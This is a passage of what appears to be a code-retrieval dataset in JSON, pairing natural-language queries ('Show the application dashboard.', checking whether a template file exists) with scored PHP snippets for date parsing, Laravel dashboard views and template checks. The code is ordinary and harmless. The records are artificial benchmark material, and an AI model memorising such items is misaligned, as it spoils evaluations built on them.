"0.52624315", "text": "function simphp_zonetime2stdtime($datetime, $timezone='') {\r\n if (empty($timezone)) return strtotime($datetime);\r\n $dt = new DateTime($datetime,new DateTimeZone($timezone));\r\n return $dt->getTimestamp();\r\n}", "title": "" }, { "docid": "a1b529fe79e26d55b83d296d8473edf1", "score": "0.5257642", "text": "function GetUnixTimestamp($Date, $Time){\n\t $day = substr($Date,0,2);\n\t $month = substr($Date,3,2);\n\t $year = substr($Date,6,4);\n\n\t $hour = substr($Time,0,2);\n\t $mins = substr($Time,3,2);\n\t $secs = substr($Time,6,2);\n\n\t $timestamp = gmmktime($hour,$mins,$secs,$month,$day,$year);\n\t return $timestamp;\n\t}", "title": "" }, { "docid": "ec9056914d62c560f3af838a5ce5e669", "score": "0.52548754", "text": "function ConvertMysqlTimeStamp($time, $separator=\"-\", $seconds=false) {\n\n\t$timestamp = substr($time, 8,2).$separator;\n\t$timestamp .= substr($time, 5,2).$separator;\n\t$timestamp .= substr($time, 0,4).\"&nbsp;\";\n\n\tif ($seconds) {\n\t\t$timestamp .= substr($time, 8,2).\":\";\n\t\t$timestamp .= substr($time, 10,2).\":\";\n\t\t$timestamp .= substr($time, 12,2);\n\t}\n\n\treturn($timestamp);\n}", "title": "" }, { "docid": "0e413731dff0e922718c2a3690c6861f", "score": "0.52513003", "text": "function timestamp_format($unix, $format)\n{\n return date($format, $unix);\n}", "title": "" }, { "docid": "88bc5151179f7b12ad6fe57c1cfc0119", "score": "0.5224883", "text": "static function fromiCaltoUnixDateTime($datetime) {\r\n\t\t\t// first check format\r\n\t\t\t$formats = array();\r\n\t\t\t$formats[] = \"/[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]/\";\r\n\t\t\t$formats[] = \"/[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]T[0-9][0-9][0-9][0-9][0-9][0-9]/\";\r\n\t\t\t$formats[] = \"/[0-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9]T[0-9][0-9][0-9][0-9][0-9][0-9]Z/\";\r\n\t\t\t$ok = false;\r\n\t\t\tforeach($formats as $format){\r\n\t\t\t\tif(preg_match($format,$datetime)){\r\n\t\t\t\t\t$ok = true;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tif(!$ok)\r\n\t\t\t\treturn null;\r\n\t\t\t$year = substr($datetime,0,4);\r\n\t\t\t$month = substr($datetime,4,2);\r\n\t\t\t$day = substr($datetime,6,2);\r\n\t\t\t$hour = 0;\r\n\t\t\t$minute = 0;\r\n\t\t\t$second = 0;\r\n\t\t\tif(strlen($datetime) > 8 && $datetime{8} == \"T\") {\r\n\t\t\t\t$hour = substr($datetime,9,2);\r\n\t\t\t\t$minute = substr($datetime,11,2);\r\n\t\t\t\t$second = substr($datetime,13,2);\r\n\t\t\t}\r\n\t\t\treturn gmmktime($hour, $minute, $second, $month, $day, $year);\r\n\t}\r\n\r\n\t/**\r\n\t * Format Unix timestamp to iCal date-time string\r\n\t *\r\n\t * @param int $datetime Unix timestamp\r\n\t *\r\n\t * @return string\r\n\t */\r\n\tstatic function fromUnixDateTimetoiCal($datetime){\r\n\t\tdate_default_timezone_set('GMT');\r\n\t\treturn gmdate(\"Ymd\\THis\",$datetime);\r\n\t}\r\n\r\n\t/**\r\n\t * Convert iCal duration string to # of seconds\r\n\t * \r\n\t * @param string $duration iCal duration string\r\n\t *\r\n\t * return int \r\n\t */\r\n\tstatic function iCalDurationtoSeconds($duration) {\r\n\t\t$secs = 0;\r\n\t\tif($duration{0} == \"P\") {\r\n\t\t\t$duration = str_replace(array(\"H\",\"M\",\"S\",\"T\",\"D\",\"W\",\"P\"),array(\"H,\",\"M,\",\"S,\",\"\",\"D,\",\"W,\",\"\"),$duration);\r\n\t\t\t$dur2 = explode(\",\",$duration);\r\n\t\t\tforeach($dur2 as $dur){\r\n\t\t\t\t$val=intval($dur);\r\n\t\t\t\tif(strlen($dur) > 0){\r\n\t\t\t\t\tswitch($dur{strlen($dur) - 1}) {\r\n\t\t\t\t\t\tcase \"H\":\r\n\t\t\t\t\t\t\t$secs += 60*60 * $val;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tcase \"M\":\r\n\t\t\t\t\t\t\t$secs += 60 * $val;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tcase \"S\":\r\n\t\t\t\t\t\t\t$secs += $val;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tcase \"D\":\r\n\t\t\t\t\t\t\t$secs += 60*60*24 * $val;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\tcase \"W\":\r\n\t\t\t\t\t\t\t$secs += 60*60*24*7 * $val;\r\n\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn $secs;\r\n\t}", "title": "" }, { "docid": "701f553ad48bfa0dc4adc08a424a2283", "score": "0.5220821", "text": "static public function parseTime($input)\n {\n if ($input) {\n if (strlen($input) == 2) {\n $input .= ':00:00';\n }\n\n if (strlen($input) == 1) {\n $input = '0' . $input . ':00:00';\n }\n\n $dateTime = strtotime($input);\n return date('H:i:s', $dateTime);\n } else {\n return '00:00:00';\n }\n }", "title": "" }, { "docid": "8b8cdebce0e23724cb44623e130ec14b", "score": "0.5218196", "text": "private function process_timesecToDB($value) {\n\t\tif (!$value)\n\t\t\treturn 0;\n\t\tif (preg_match('`^\\d{1,2}:\\d{1,2}:\\d{1,2}$`', $value) && ($time = strtotime($value))) {\n\t\t\t$value = $time;\n\t\t}\n\t\telse {\n\t\t\t$time = preg_replace('<[^0-9]>', '', $value);\n\t\t\t$timeArray = str_split($time, 2);\n\t\t\t$h = $timeArray[0];\n\t\t\t$i = $timeArray[1];\n\t\t\t$s = $timeArray[2];\n\t\t\t$value = mktime($h,$i,$s);\n\t\t}\n\t\treturn intval($value);\n\t}", "title": "" }, { "docid": "24787735861d0c1ae4ce98d91d9ecd09", "score": "0.5217368", "text": "private function convertTimeOutput($timeInput) {\n return date('g:i a', strtotime($timeInput));\n }", "title": "" }, { "docid": "dceeb49e168ed490ae6114b69dfd4f7b", "score": "0.5215445", "text": "function strtotimetz($time, $timezone, $now = null)\r\n{\r\n $unix = 0;\r\n\r\n try\r\n {\r\n $datetime = new DateTime($time, new DateTimeZone($timezone));\r\n $unix = $datetime->getTimestamp();\r\n }\r\n catch (Exception $e)\r\n {\r\n // ...\r\n }\r\n\r\n return $unix;\r\n}", "title": "" }, { "docid": "6010b9933c9f2afd0e8aaaad252af701", "score": "0.52140254", "text": "function LongDateAndTime($strMySqlDatetime)\n\t{\n\t\tif ($strMySqlDatetime == END_OF_TIME)\n\t\t{\n\t\t\treturn \"Indefinite\";\n\t\t}\n\t\t$intUnixTime = strtotime($strMySqlDatetime);\n\t\t$strDateAndTime = date(\"l, M j, Y g:i:s A\", $intUnixTime);\n\t\n\t\treturn $strDateAndTime;\n\t}", "title": "" } ]
2e640b2819e0e2483ca2c8015eacce77
Show the application dashboard.
[ { "docid": "e01a52edcbf09843889c281779387692", "score": "0.0", "text": "public function index()\n {\n return view('home');\n }", "title": "" } ]
[ { "docid": "01bf35531b182ef3927d53765578f384", "score": "0.7827622", "text": "public function showDashboard()\n\t{\n\t\treturn \\View::make('admin.dashboard');\n\t}", "title": "" }, { "docid": "efad33d27f99de253150bb54c2ee907b", "score": "0.76123416", "text": "public function index()\n {\n $this->setTitle(trans('foundation::dashboard.titles.dashboard'));\n\n return $this->view('admin.dashboard');\n }", "title": "" }, { "docid": "ec2272711cf4b05c58590eab83e71ef4", "score": "0.76039314", "text": "public function dashboard()\n {\n return view ('admin.dashboard');\n }", "title": "" }, { "docid": "56384f4cc58af901d60197cbf074089c", "score": "0.75914806", "text": "public function showDashboard()\n {\n return view('admin.dashboard');\n }", "title": "" }, { "docid": "0f15f2317ce7812806c5f2f4ffe58684", "score": "0.7579103", "text": "public function showAction()\n {\n if ($this->_isManagement()) {\n return $this->view('dashboard.client', $this->_client());\n } else {\n return $this->view('dashboard.admin', $this->_admin());\n }\n }", "title": "" }, { "docid": "ec1eae17116eaabe81ca00fa52835d78", "score": "0.7548498", "text": "public function dashboard() {\n\n\t\t\tgo_verify_user_session(\"admin\");\n\n\t\t\t$queries = null;\n\t\t\t$this->go_load_page(\n\t\t\t\tarray(\n\t\t\t\t\t'page' => 'admin/go/dashboard',\n\t\t\t\t\t'title' => 'Dashboard' ,\n\t\t\t\t\t'template' => 'admin',\n\t\t\t\t\t'activeClass' => 'dashboard',\n\t\t\t\t\t'queries' => $queries\n\t\t\t\t)\n\t\t\t);\n\t\t}", "title": "" }, { "docid": "5fbb4881d24ccdc7f1e41621f6ef8fc2", "score": "0.75365424", "text": "public function showDashboard()\n {\n // Title of this page\n $data = [\n 'title' => 'Dashboard'\n ];\n\n return view('task/v_dashboard', $data);\n }", "title": "" }, { "docid": "3dccf730dee11461b63404f9eb0e9829", "score": "0.74888766", "text": "public function index()\n {\n // Show the page\n return View::make('admin/dashboard');\n }", "title": "" }, { "docid": "ecee823b9e5c7f9e7bbe8499af4d49ad", "score": "0.7372353", "text": "public function dashboard() {\n return view('index');\n }", "title": "" }, { "docid": "cbaf5100be4af244ec3dda96dded0ead", "score": "0.73651946", "text": "public function showDash()\n\t{\n\t\treturn View::make('layouts.dashboard');\n\t}", "title": "" }, { "docid": "8c0fdf3764bfe2c7581bb84dfd4edd33", "score": "0.7362939", "text": "public function show_dashboard() {\n return view('dashboard.dashboard_home');\n }", "title": "" }, { "docid": "6ac160069c243ac2fc9d561c605d8dca", "score": "0.7359748", "text": "public function index()\n {\n $this->global['pageTitle'] = 'CodeInsect : Dashboard';\n \n $this->loadViews(\"dashboard\", $this->global, NULL , NULL);\n }", "title": "" }, { "docid": "1a8925153d4fdf57b36c041ec5d7a890", "score": "0.7350788", "text": "public function dashboard()\n {\n return view('admin.dashboard');\n }", "title": "" }, { "docid": "1a8925153d4fdf57b36c041ec5d7a890", "score": "0.7350788", "text": "public function dashboard()\n {\n return view('admin.dashboard');\n }", "title": "" }, { "docid": "1a8925153d4fdf57b36c041ec5d7a890", "score": "0.7350788", "text": "public function dashboard()\n {\n return view('admin.dashboard');\n }", "title": "" }, { "docid": "4f8aa38ab0e765fb06a6455920ecc65b", "score": "0.7349104", "text": "public function dashboard() {\n\t\tif (!isAdmin($this->logged)) {\n\t\t\t$this->Flash->error(__('You are not allowed to view admin dashboard as you are not in admin group.'));\n\t\t\treturn $this->redirect(['plugin' => 'dashboard', 'controller' => 'dashboard_kpis', 'action' => 'user']);\n\t\t}\n\n\t\t$this->set( 'title_for_layout', __('Calendar') );\n\t\t$this->set( 'subtitle_for_layout', 'This is your calendar' );\n\n\t\t$this->set( 'feeds', $this->Feeds->getFeed() );\n\t\t$this->set( 'calendar_events', $this->getCalendarEvents() );\n\t\t// $this->set( 'hidePageHeader', true );\n\n\t\t$this->render('dashboard');\n\t}", "title": "" }, { "docid": "05753ae7d7fc17660047e9674f8f008d", "score": "0.73420244", "text": "public function dashboard()\n {\n return view('dashboard.index');\n }", "title": "" }, { "docid": "c2d09922adc2ea03fdc00df211953520", "score": "0.73224866", "text": "public function dashboard()\n {\n return view(\"professional/dashboard\");\n }", "title": "" }, { "docid": "1ccfee12966566e2aa394ba5378bf8f7", "score": "0.7308656", "text": "protected function show()\n {\n $this->getPage()->setActiveMenu('dashboard');\n\n return View::make('kotakin::admin_dashboard', array(\n 'page' => $this->getPage()\n ));\n }", "title": "" }, { "docid": "7730e297990e0e2f894f84001471feb5", "score": "0.72995096", "text": "public function dashboard()\n\t{\n\n\t\treturn view('pages.dashboard');\n\t}", "title": "" }, { "docid": "faef3369aaa78a250094c46fe64d8c66", "score": "0.7295769", "text": "public function showAdminDashboard()\n\t{\n\t\treturn view('admin.layouts.dashboard');\n\t}", "title": "" }, { "docid": "ec0599bf25c9124146087c685d1c13cc", "score": "0.7288593", "text": "public function index() {\n return view('admin.dashboard');\n }", "title": "" }, { "docid": "29a58a57216b831f1f28d6b55ee68ece", "score": "0.72803825", "text": "public function index()\n {\n $this->global['pageTitle'] = ': Dashboard';\n \n $this->loadViews(\"admin/dashboard\", $this->global, NULL , NULL);\n }", "title": "" }, { "docid": "7225867a7d82d071009c7a9cecd82071", "score": "0.72800165", "text": "public function index()\n {\n return view('layouts.manager.Dashboard');\n }", "title": "" }, { "docid": "b090cbe86b3df44f4bb238f14e9542f2", "score": "0.72789633", "text": "public function index()\n {\n return view('backend.dashboard');\n }", "title": "" }, { "docid": "979df6f8245a87c8084d6a419248f035", "score": "0.727347", "text": "public function dashboard()\n {\n return view('dashboard');\n }", "title": "" }, { "docid": "979df6f8245a87c8084d6a419248f035", "score": "0.727347", "text": "public function dashboard()\n {\n return view('dashboard');\n }", "title": "" }, { "docid": "979df6f8245a87c8084d6a419248f035", "score": "0.727347", "text": "public function dashboard()\n {\n return view('dashboard');\n }", "title": "" }, { "docid": "ce52e93e6ffbcb1b47b1d8b8487c9a60", "score": "0.7268944", "text": "public function showDashboard()\n {\n if (Auth::check()) {\n if (!Auth::user()->hasRole('admin')) {\n $dashboard_info = $this->getUserDashboardInfo();\n return view('pages.index')->with('dashboard', $dashboard_info);\n } else if (!Auth::user()->hasRole('user')) {\n $dashboard_info = $this->getUserDashboardInfo();\n return view('pages.index')->with('dashboard', $dashboard_info);\n } else {\n toast('error', 'Unauthorized access! please contact the admin if challenge persist');\n return redirect()->route(\"home\"); // $this->index(new Request(['route' => 'landing']));\n }\n } else {\n toast('error', 'Please login to continue!');\n $this->index(new Request(['route' => 'landing']));\n }\n }", "title": "" }, { "docid": "7f063c7c7687342973e5eab3bc49cd59", "score": "0.7256893", "text": "public function index()\n {\n return view('admin.dash');\n }", "title": "" }, { "docid": "8cd0a13f3368c82f274273b3a5634a62", "score": "0.7251768", "text": "public function index()\n {\n return view('admin.dashboard');\n }", "title": "" }, { "docid": "8cd0a13f3368c82f274273b3a5634a62", "score": "0.7251768", "text": "public function index()\n {\n return view('admin.dashboard');\n }", "title": "" }, { "docid": "8cd0a13f3368c82f274273b3a5634a62", "score": "0.7251768", "text": "public function index()\n {\n return view('admin.dashboard');\n }", "title": "" }, { "docid": "8aaa108beb5ba3a2631be99142c3db3a", "score": "0.72402406", "text": "public function index()\n {\n $this->global['pageTitle'] = 'FashionFound : Dashboard';\n \n $this->loadViews(\"dashboard\", $this->global, NULL , NULL);\n }", "title": "" }, { "docid": "1761fee97410c6d7baf9c029920c7c98", "score": "0.72117585", "text": "public function view()\n\t{\n\t\treturn view('admin.dashboard');\n\t}", "title": "" }, { "docid": "9ecdf0ff40860e9f61398f2f06b8ceff", "score": "0.72091156", "text": "public function dashboard() {\n return view('admin/dashboard', $this->data);\n }", "title": "" }, { "docid": "ee959fea84f7ff7dfe41345adf58f43b", "score": "0.7208396", "text": "public function dashboard() {\n\n\t\t$this->page_data['page_name'] = \"dashbaord\";\n\t\t$this->page_data['page_title'] = \"Dashboard\";\n\t\t$this->page_data['page_view'] = \"dashboard\";\n\t\t\n\n\n\t\t$this->load->view('index', $this->page_data);\n\t}", "title": "" }, { "docid": "acbfc2a883489c64830556cee81c652b", "score": "0.7189895", "text": "public function show()\n\t\t{\n\t\t\t\t$title = \"Analytic Hierarchy Process Application\";\n return view('angular.ahp-app')->withTitle($title);\n }", "title": "" }, { "docid": "598b327e8519f75058dc7eb896e444e4", "score": "0.71721923", "text": "public function index()\n\t{\n\t\t$data['applications'] = $this->applicationRepo->getAll();\n\n\t\treturn view('admin.applications.overview', $data);\n\t}", "title": "" }, { "docid": "7d21f3237355c40ead1a1354147105c7", "score": "0.71681315", "text": "public function dashboard()\n {\n return view('administrator/dashboard');\n }", "title": "" }, { "docid": "0190bcad77c3804deb6308ed97179dec", "score": "0.7153424", "text": "public function index()\n {\n return view('frontend.dashboard');\n }", "title": "" }, { "docid": "6f72edae8f8528a26ef7b71c2f1ec133", "score": "0.713813", "text": "public function index()\n {\n return view('dashboard.' . $this->section . '.tools')->withServer($this->server);\n }", "title": "" }, { "docid": "76f1a65ce7407439a6d735563b090b40", "score": "0.71241266", "text": "public function index()\n {\n return view('backend2/dashboard');\n }", "title": "" }, { "docid": "00043d79e38e944b7dc0d9dae5e54efb", "score": "0.71197414", "text": "public function index()\n {\n //\n\n return view('admin.dashboard')->with('adminData', $this->adminData);\n }", "title": "" }, { "docid": "4988789167e6bec2394af8095fff2159", "score": "0.7092855", "text": "public function index() {\n $data['title'] = 'Dashboard';\n\n return view('dashboard', $data);\n }", "title": "" }, { "docid": "913dbdb5af4a6682b74a350f5113563e", "score": "0.70902187", "text": "public function index()\n {\n return view('main.dashboard.index');\n }", "title": "" }, { "docid": "e9e333d30b0a5fbbd74d7ac86380e64f", "score": "0.7088498", "text": "public function index()\n {\n return view('admin/dashboard');\n }", "title": "" }, { "docid": "d0a1b7c8851539d0a59709ccecd9ba04", "score": "0.7082516", "text": "public function index()\n {\n // render dashboard\n return $this->render();\n }", "title": "" }, { "docid": "31e6d83d9b4c2bff3b3842a02fb56d9f", "score": "0.7081703", "text": "public function index()\n {\n return \\View::make(\"Backoffice/Admin/AdminDash\");\n }", "title": "" }, { "docid": "37cb669c797285e94597a693d0310ad3", "score": "0.70792335", "text": "public function index()\n {\n $stats = $this->logViewer->statsTable();\n $chartData = $this->prepareChartData($stats);\n $percents = $this->calcPercentages($stats->footer(), $stats->header());\n\n return $this->view('dashboard', compact('chartData', 'percents'));\n }", "title": "" }, { "docid": "7c62fe1f03fd48ba49ec4ac57acd9963", "score": "0.7075653", "text": "public function index()\n {\n return view('dashboard.dashboard');\n }", "title": "" }, { "docid": "174303102d5041f0ed8c55774fd25d30", "score": "0.70708525", "text": "public function index()\n {\n return view('back.dashboard');\n }", "title": "" }, { "docid": "61e550542cde8a3689765051e440a215", "score": "0.7069673", "text": "public function dashboard(){\n return $this->to(PUBLIC_ROOT . \"dashboard\");\n }", "title": "" }, { "docid": "19376c7a84d13214f0a24883b9ec9210", "score": "0.7067525", "text": "public function index()\n {\n return view('app.layouts.dashboard');\n }", "title": "" }, { "docid": "9d1d775005dc429d669fc498bf07e9aa", "score": "0.7064774", "text": "public function index()\n {\n return view('admin.applications.index');\n }", "title": "" }, { "docid": "9d1d775005dc429d669fc498bf07e9aa", "score": "0.7064774", "text": "public function index()\n {\n return view('admin.applications.index');\n }", "title": "" }, { "docid": "d778f0f77bb5ad5bb372760bcce9cec4", "score": "0.7061938", "text": "public function showDashboard()\n {\n $history = \\App\\Survey::where('user_id', auth()->user()->id)->orderBy('id', 'desc')->paginate(10);\n return view('home', compact('history'));\n }", "title": "" }, { "docid": "21666717ccd245b2257c3ec1f33c4ad2", "score": "0.7050908", "text": "public function dashboard(){\r\n\t\t$login = $this->islogin();\r\n\t\tif($login == false){\r\n\t\t\tredirect(base_url());\r\n\t\t}\r\n //load the view\r\n\t\t$this->data['page_title'] \t= \tPROJECT_NAME.'::Dashboard';\r\n $this->render('dashboard','inner');\r\n\t}", "title": "" }, { "docid": "194d75d93e94ebee8726bbd75df7b1ea", "score": "0.705011", "text": "public function index()\n {\n $title = \"Dashboard\";\n $subTitle = \"Dashboard\";\n\n return view('clients.dashboard.index',compact('title', 'subTitle' ));\n }", "title": "" }, { "docid": "2a9f5f0035c9abdf508a4e187c30d6a8", "score": "0.7037885", "text": "public function showUserDashboard()\n\t{\n\t\t$this->layout->content = View::make('user.user_dashboard');\n\t}", "title": "" }, { "docid": "1253fee67c5dc08561bb568ff223d0b5", "score": "0.70374125", "text": "function display()\n\t{\n\t\t$this->displayDashboard();\n\t}", "title": "" }, { "docid": "d739bbb901d158da397732ad3786db9c", "score": "0.70332193", "text": "public function index()\n {\n // Send data to page.\n $temperatures = Temperature::all();\n $humidities = Humidity::all();\n $elements_configuration = ElementConfiguration::all();\n $title = \"ACA | Dashboard\";\n return view('page.dashboard._dashboard', compact('title', 'temperatures', 'humidities', 'elements_configuration'));\n }", "title": "" }, { "docid": "b27d624444148e643caff33859bb3e36", "score": "0.7032898", "text": "public function showDashboard(): View\n {\n return view('pages.dashboard');\n }", "title": "" }, { "docid": "fb8e9568d12ff0c9cc64493f4a9edc3a", "score": "0.70328265", "text": "public function dashboard()\n\t{\n\t\t$this->load->view(HEADER);\n\t\t\n\t\t$this->load->view(FOOTER);\n\t}", "title": "" }, { "docid": "0002566a5004c914f11f52bc7dbef5e2", "score": "0.70284325", "text": "public function index()\n\t{\n\t\t $this->render('dashboard_view');\n\t}", "title": "" }, { "docid": "215a4b2e89faa1f928e95d4f9e3446e5", "score": "0.7027052", "text": "public function index()\n {\n return view('activity::app');\n }", "title": "" }, { "docid": "b9b0d5f5e9548499cc7dc42933842432", "score": "0.7014691", "text": "public function action_dashboard()\n {\n //set view for template\n $this->template->content = View::factory('admin/dashboard');\n }", "title": "" }, { "docid": "2b20a4e25b8ca061cf7d21e2b79bddc2", "score": "0.700917", "text": "public function index()\n {\n return view('dashboard');\n }", "title": "" }, { "docid": "2b20a4e25b8ca061cf7d21e2b79bddc2", "score": "0.700917", "text": "public function index()\n {\n return view('dashboard');\n }", "title": "" }, { "docid": "2b20a4e25b8ca061cf7d21e2b79bddc2", "score": "0.700917", "text": "public function index()\n {\n return view('dashboard');\n }", "title": "" }, { "docid": "2b20a4e25b8ca061cf7d21e2b79bddc2", "score": "0.700917", "text": "public function index()\n {\n return view('dashboard');\n }", "title": "" }, { "docid": "2b20a4e25b8ca061cf7d21e2b79bddc2", "score": "0.700917", "text": "public function index()\n {\n return view('dashboard');\n }", "title": "" }, { "docid": "4e7c608c0d64fca5a9c4f4ea4462a836", "score": "0.6999731", "text": "public function action_index()\n\t{\n\t\t$this->set_content(View::factory('dashboard/index'));\n\t}", "title": "" }, { "docid": "ae838870ab30d558455372668473ed45", "score": "0.6998526", "text": "public function index() {\n /*\n\t\t$this->View->render('dashboard/index', array(\n\t\t\t'account_type' => DatabaseCommon::getAccountTypeByUserID(Session::get('user_id')),\n 'farm_info' => DatabaseCommon::getFarmDetails(),\n\t\t\t'paddock_info' => DatabaseCommon::getPaddockDetails(),\n 'sample_info' => DatabaseCommon::getSampleDetails()\n ));\n*/\t\t\n\t\t$this->View->render('dashboard/index');\n\t}", "title": "" }, { "docid": "c7029f9dd7bc5059ef61cbf33afc271f", "score": "0.69940513", "text": "public function dashboard()\n {\n $allStars = $this->starRepository->displayAll();\n return view('dashboard', compact('allStars'));\n }", "title": "" }, { "docid": "d3ee6c4452c9a12387a1373432cf07c4", "score": "0.69905925", "text": "public function index()\n {\n return view('pages.dashboard');\n }", "title": "" }, { "docid": "e1bf36a8fe7e2e360d9b09da5bdaa00a", "score": "0.69872975", "text": "public function home()\n {\n return view('admin.dashboard.index');\n }", "title": "" }, { "docid": "25ec2cff91deb30dbaaf5684e233e0a3", "score": "0.6975128", "text": "public function index(){\n\n return view('admin.dashboard');\n }", "title": "" }, { "docid": "d0dc75d9de97de206f25148b14be4d48", "score": "0.69707", "text": "public function index()\n {\n return view ('backend.dashboard', ['details' => $this->cR->getDetails()]);\n }", "title": "" }, { "docid": "93301e25ba8db941fbab9003485902ab", "score": "0.6969626", "text": "public function dashboard()\n {\n if (Session::has('Admin'))\n {\n return view('admin.dashboard');\n }\n else\n {\n return redirect('/admin/login');\n }\n }", "title": "" }, { "docid": "528dacb044efd95abef8d766f15dda9d", "score": "0.69649535", "text": "public function index()\n {\n return View::make('user/dashboard');\n }", "title": "" }, { "docid": "f23fe92b2f863a700786d2bbe1b47194", "score": "0.69601893", "text": "public function index(){\n\n \treturn view('system.dashboard');\n\n }", "title": "" }, { "docid": "2443e9db34c0cbd4771ee63014d15849", "score": "0.6958571", "text": "public function show()\n {\n $applications = Application::get()->where('user_id',Auth::id());\n\n return view('home',compact('applications'));\n }", "title": "" }, { "docid": "d68acbde47c6faf5320b615588a691a3", "score": "0.6954174", "text": "public function index()\n {\n\n $title = 'Student Tracker Admin Dashboard';\n return view('admin.dashboard.index',compact('title'));\n }", "title": "" }, { "docid": "0b1169bd50360fc9b777500fba3d41c1", "score": "0.6950407", "text": "public function Dashboard(){\n return view('admin');\n }", "title": "" }, { "docid": "974cc6779a01d243be546aafe8832d95", "score": "0.69434196", "text": "public function dashboardAction()\n {\n try {\n return $this->render(\n 'DAPImportBundle::dashboard.html.twig',\n array(\n )\n );\n } catch (\\Exception $e) {\n $this->get('dap_import.logger')->error($e->getMessage());\n throw $this->createNotFoundException('Page could not be found. Error: '.$e->getMessage());\n }\n }", "title": "" }, { "docid": "693013d793d2da0d0bab34d726cd4a2d", "score": "0.69383657", "text": "public function index()\n {\n $title = 'Dashboard';\n return view('dashboard',compact('title'));\n }", "title": "" }, { "docid": "2b5593b4af9be225b5166a23d9f3d08e", "score": "0.6937456", "text": "public function index()\n {\n return view('dashboard.index');\n }", "title": "" }, { "docid": "2b5593b4af9be225b5166a23d9f3d08e", "score": "0.6937456", "text": "public function index()\n {\n return view('dashboard.index');\n }", "title": "" }, { "docid": "2b5593b4af9be225b5166a23d9f3d08e", "score": "0.6937456", "text": "public function index()\n {\n return view('dashboard.index');\n }", "title": "" }, { "docid": "87de24e6250e809f55111dc4c5ca3d07", "score": "0.6933663", "text": "public function index()\n {\n return view('secretary_dashboard');\n }", "title": "" }, { "docid": "84805a222fb73a2e7a6ec29f0e13fae9", "score": "0.6924823", "text": "public function getIndex()\n\t{\n\n\t\treturn View::make('admin.dashboard.dashboard');\n\t}", "title": "" }, { "docid": "d9465a826d2e1cfbc11bb14c61dad870", "score": "0.6921651", "text": "public function index()\n {\n return view('/dashboard');\n }", "title": "" }, { "docid": "59cb4ec9f5160715d2252fe62f53df38", "score": "0.6905281", "text": "public function dashboard(){\n return view('dashboard');\n }", "title": "" }, { "docid": "28ce6c24f97fcd45b7b662764e4d23c3", "score": "0.68973213", "text": "public function index()\n {\n if ($this->isAdmin()) {\n return $this->adminDashboard();\n }\n \n return $this->defaultDashboard();\n }", "title": "" }, { "docid": "66946f751080c0e95622f8763065eae5", "score": "0.6896125", "text": "function index()\n\t{\n permissionUser();\n\t\t$this->_render_page('dashboard/index', $this->data);\n\t}", "title": "" }, { "docid": "25c6a3919228d1062a6266af7c0f7378", "score": "0.68957686", "text": "public function getIndex()\n\t{\n\t\t// Show the page\n\t\treturn View::make('site/account/dashboard');\n\t}", "title": "" }, { "docid": "6fc656cbefe41c62acca209631b471c2", "score": "0.6890966", "text": "public function index()\n {\n if (Entrust::hasRole('admin')) return $this->adminDashboard();\n if (Entrust::hasRole('member')) return $this->memberDashboard();\n return view('home');\n }", "title": "" }, { "docid": "d7d8b90adfd0aad8624d208d39aec814", "score": "0.68841", "text": "public function getDashboard()\n {\n return view('administrator.dashboard', ['data' => $this->data]);\n }", "title": "" }, { "docid": "03e47075937dd9b3fd76935885e74bf7", "score": "0.6875634", "text": "public function index()\n\n {\n\n $this->global['pageTitle'] = 'Brands Listings';\n\n \n\n $this->loadViews(\"dashboard\", $this->global, NULL , NULL);\n\n }", "title": "" }, { "docid": "3baf8c5a37bacda3ce30575179526040", "score": "0.6875375", "text": "public function index()\n {\n if (Laratrust::hasRole('admin') || Laratrust::hasRole('jury') || Laratrust::hasRole('coordinator') ) return $this->adminDashboard();\n if (Laratrust::hasRole('participant') || Laratrust::hasRole('guest')) return $this->participantDashboard();\n return view('backend.pages.home');\n }", "title": "" } ]
ded6872fe13842511afe3dc08a3cbb41
Check to see if PHP template file exists
[ { "docid": "9a3e8c3fcb48c62bfb5a5961bd59b9e8", "score": "0.8057617", "text": "public function PHPTemplateExists() {\n\t\treturn file_exists( $this->PHPTemplate );\n\t}", "title": "" } ]
[ { "docid": "f5180989229e1a75ff6f86d03e50f984", "score": "0.79015684", "text": "public function templateExists(): bool;", "title": "" }, { "docid": "43865e7c1cda7472a6c245753df80b5c", "score": "0.78437376", "text": "public function has_template_file() {\n\t\treturn ! empty( $this->get_template_file() );\n\t}", "title": "" }, { "docid": "339e3af813817fbe9aa97678242ab621", "score": "0.7792969", "text": "static function testTemplate(){\n\t\tif(file_exists(template_file)&&is_readable(template_file))\n\t\t\treturn true;\n\t\telse{\n\t\t\techo \"Exists : \".file_exists(template_file).\"\\n\";\n\t\t\techo \"Is Readable : \".is_readable(template_file).\"\\n\";\n\t\t}\n\t}", "title": "" }, { "docid": "64d85566627bd74c53483d6716e944aa", "score": "0.7708933", "text": "public function template_file_exists( $template = \"\" ) {\r\n\t\tif ( empty( $template ) ) {\r\n\t\t\t$template = $this->locate_template();\r\n\t\t}\r\n\r\n\t\treturn file_exists( $template );\r\n\t}", "title": "" }, { "docid": "80f10591650220b1d47a7c36f599e1aa", "score": "0.7692189", "text": "function checkTemplate($a_name)\n\t{\n\t\treturn file_exists($this->tplPath.$a_name);\n\t}", "title": "" }, { "docid": "dee08aed48febdffdc9bfda1a891f2ed", "score": "0.76316726", "text": "function template_exists( &$request, $extension, $template ) {\n #if ($template == 'introspection') print 'ye';\n #print \"template_exists $template \".$extension.\"<br />\";\n \n $view = $request->get_template_path( $extension, $template );\n \n if ( file_exists( $view ) )\n return true;\n \n return false;\n \n}", "title": "" }, { "docid": "b7cbb51a2bc08a3a2c26553de6a6549a", "score": "0.76283", "text": "public function existTemplate(): bool;", "title": "" }, { "docid": "6e8538e1b2860dbc16e8c5dbb318ef90", "score": "0.75858045", "text": "public function templateExists( $template );", "title": "" }, { "docid": "272d61e7c1f98437293ea8f029a1bbfb", "score": "0.75565153", "text": "function _compiled_template_exists($include_path)\r\n {\r\n // everything is in $compile_dir\r\n return file_exists($include_path);\r\n }", "title": "" }, { "docid": "04447609f92e2f875fe4ae9606567b72", "score": "0.75563973", "text": "public function 